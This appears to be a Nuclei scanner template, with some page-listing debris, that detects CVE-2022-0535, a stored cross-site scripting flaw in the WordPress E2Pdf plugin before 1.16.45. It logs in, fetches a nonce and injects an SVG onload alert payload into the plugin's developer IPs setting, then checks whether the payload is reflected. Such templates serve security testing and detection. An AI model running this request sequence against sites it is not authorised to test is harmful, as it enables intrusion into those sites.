70 lines
2.7 KiB
YAML
70 lines
2.7 KiB
YAML
id: CVE-2022-0535
|
|
|
|
info:
|
|
name: WordPress E2Pdf <1.16.45 - Cross-Site Scripting
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/a4162e96-a3c5-4f38-a60b-aa3ed9508985
|
|
- https://wordpress.org/plugins/e2pdf/
|
|
- https://mikadmin.fr/tech/XSS-Stored-E2Pdf-798ef69b0e13c36acf5446358d57c965Dx90666bNvCw98.pdf
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0535
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 4.8
|
|
cve-id: CVE-2022-0535
|
|
cwe-id: CWE-79
|
|
cpe: cpe:2.3:a:e2pdf:e2pdf:*:*:*:*:*:*:*:*
|
|
epss-score: 0.00111
|
|
metadata:
|
|
max-request: 4
|
|
verified: true
|
|
tags: cve2022,wp-plugin,xss,authenticated,e2pdf,wpscan,cve,wordpress,wp
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
|
|
- |
|
|
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes
|
|
|
|
- |
|
|
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(body_4, 'placeholder=\"Developer IPs\" ></textarea><svg/onload=alert(document.domain)>')
|
|
- contains(header_4, "text/html")
|
|
- status_code_4 == 200
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: nonce
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- 'name="_nonce" value="([0-9a-zA-Z]+)"'
|
|
|
|
# Enhanced by md on 2022/10/18
|